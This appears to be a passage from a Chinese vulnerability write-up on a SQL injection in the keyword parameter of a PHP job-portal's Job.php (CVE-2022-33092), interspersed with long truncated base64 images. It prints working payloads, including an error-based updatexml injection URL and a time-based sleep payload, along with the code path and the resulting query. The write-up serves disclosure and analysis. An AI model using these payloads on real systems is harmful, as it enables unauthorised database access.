vfkAiEiMWCuekDx8/zczQGIHx+f41M+bizF/8AwAtzzy6rEWN3mKlsK0BvaJsqMwzQ2PYayuzf+vMJvIqSug+v/piffz0RWYGRgHo+NzHkO6QJdNTTz3ByMgIX/v6HxIKhrLXW1qbefTRh3n9+AmuXr3Kv/nXz/ORj3yI/+uP/wSATZXbaChr4eLAaSoc1SSScQ5tOsI/Hf+bdckzHfDww5P/BMDB1oeB+8uCKy8/n45duzl//iw7duxkaHCIffsOMDQ0SPimNnm/Ybc62d/yEKd6jtPReJC+yW4e3HyUPlcPoUgQAEnWcaDlEW5MdvLKlRcBmPLnKtS+d+LbGPQGYolI9trPznwfWZZpqdxCZcHy40hNYT1TM+478HUrc/3aNb7yla/yp3/6Jzz15OP88z995469S9bJtGzZin96GoNRz/jwCLWNTbjGRwkG5if7ldU1FBWX0tN5nXg8RiwSyclnbHiIabebSHi+X874prlw5hSyLLOtvYNwaGkFv72gANVmYwP3iu4qZosF77SHZCKRc92kKIRmgyBJmMwKk6Oj2TTFYiEUDK6Yr2q1UVhUTF/XrSnhu65dQZZlyquqsVpt9+3m6Lm3TpBMrX3zc63taSUUxcLk6MZvHq4JSUJRFFxjYyiZ3+/V2sCtsFJ7Wwu3294Wcqt1uhobUecroSgq0UiUZOLObMKbzVo9z84GsTucJBOJnDFyXWxAe1rv2BsKBDjz5gkikY2fT9yz34VLine truncated
|
||||
<h3 blockindex=48>v3.5.1 SQL 注入|Job.php</h3>
|
||||
<p blockindex=49>漏洞信息:<br>
|
||||
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-33092">CVE - CVE-2022-33092 (mitre.org)</a></p>
|
||||
<p blockindex=50>文件路径:v1_0/controller/home/Job.php,keyword 参数</p>
|
||||
<p blockindex=51>Payload:</p>
|
||||
<pre blockindex=52><code class="hljs language-rb">/index.php/v1_0/home/job/index?keyword=<span class=hljs-string>'+(select+updatexml(0,concat(0x1,(select/**/user())),0))+'</span>
|
||||
</code></pre>
|
||||
<p blockindex=53><img src=data:image/png;base64,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 truncated
|
||||
<h4 blockindex=54>代码分析</h4>
|
||||
<p blockindex=55>基于前一个 sql 注入的思路,找到可控点,在 index 函数重点关注如下四个:</p>
|
||||
<pre blockindex=56><code class="hljs language-php"><span class=hljs-variable>$search_type</span> = input(<span class=hljs-string>'get.search_type/s'</span>, <span class=hljs-string>''</span>, <span class=hljs-string>'trim'</span>);
|
||||
<span class=hljs-variable>$keyword</span> = input(<span class=hljs-string>'get.keyword/s'</span>, <span class=hljs-string>''</span>, <span class=hljs-string>'trim'</span>);
|
||||
<span class=hljs-variable>$tag</span> = input(<span class=hljs-string>'get.tag/s'</span>, <span class=hljs-string>''</span>, <span class=hljs-string>'trim'</span>);
|
||||
<span class=hljs-variable>$sort</span> = input(<span class=hljs-string>'get.sort/s'</span>, <span class=hljs-string>''</span>, <span class=hljs-string>'trim'</span>);
|
||||
</code></pre>
|
||||
<p blockindex=57><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=58>这里先分析 $keyword 参数,传入值并跟踪,得到如下sql查询语句:</p>
|
||||
<pre blockindex=59><code class="hljs language-sql"><span class=hljs-keyword>SELECT</span> a.id,company_id,refreshtime,stick,<span class=hljs-keyword>MATCH</span> (`company_nature`) AGAINST (<span class=hljs-string>'sec'</span> <span class=hljs-keyword>IN</span> <span class=hljs-keyword>NATURAL</span> <span class=hljs-keyword>LANGUAGE</span> MODE) <span class=hljs-keyword>AS</span> score1,<span class=hljs-keyword>MATCH</span> (`jobname`) AGAINST (<span class=hljs-string>'sec'</span> <span class=hljs-keyword>IN</span> <span class=hljs-keyword>NATURAL</span> <span class=hljs-keyword>LANGUAGE</span> MODE) <span class=hljs-keyword>AS</span> score2,<span class=hljs-keyword>MATCH</span> (`companyname`) AGAINST (<span class=hljs-string>'sec'</span> <span class=hljs-keyword>IN</span> <span class=hljs-keyword>NATURAL</span> <span class=hljs-keyword>LANGUAGE</span> MODE) <span class=hljs-keyword>AS</span> score3 <span class=hljs-keyword>FROM</span> `qs_job_search_key` `a` <span class=hljs-keyword>WHERE</span> ( <span class=hljs-keyword>MATCH</span> (`jobname`,`companyname`,`company_nature`) AGAINST (<span class=hljs-string>'sec'</span> <span class=hljs-keyword>IN</span> <span class=hljs-keyword>NATURAL</span> <span class=hljs-keyword>LANGUAGE</span> MODE) ) <span class=hljs-keyword>ORDER</span> <span class=hljs-keyword>BY</span> `score1` <span class=hljs-keyword>DESC</span>,`score2` <span class=hljs-keyword>DESC</span>,`score3` <span class=hljs-keyword>DESC</span>,`refreshtime` <span class=hljs-keyword>DESC</span> LIMIT <span class=hljs-number>0</span>,<span class=hljs-number>10</span>
|
||||
</code></pre>
|
||||
<p blockindex=60>可以发现也是 MATCH AGAINST 结构,$keyword 的触发点同上一个 sql 漏洞。</p>
|
||||
<p blockindex=61>根据语句,构造出简单 Payload 并进行跟踪。由于有四个 $keyword 输入点,这里的 sleep(2) 将会睡眠 8 秒。</p>
|
||||
<pre blockindex=62><code class="hljs language-sql"><span class=hljs-string>'+(select+sleep(2))+'</span>
|
||||
|
||||
<span class=hljs-keyword>SELECT</span> a.id,company_id,refreshtime,stick,<span class=hljs-keyword>MATCH</span> (`company_nature`) AGAINST (<span class=hljs-string>'+'</span> <span class=hljs-operator>+</span>(<span class=hljs-keyword>select</span> <span class=hljs-operator>+</span>sleep(<span class=hljs-number>2</span>)) <span class=hljs-operator>+</span><span class=hljs-string>''</span> <span class=hljs-keyword>IN</span> <span class=hljs-type>BOOLEAN</span> MODE) ......
|
||||
</code></pre>
|
||||
<p blockindex=63><img src="data:image/png;base64,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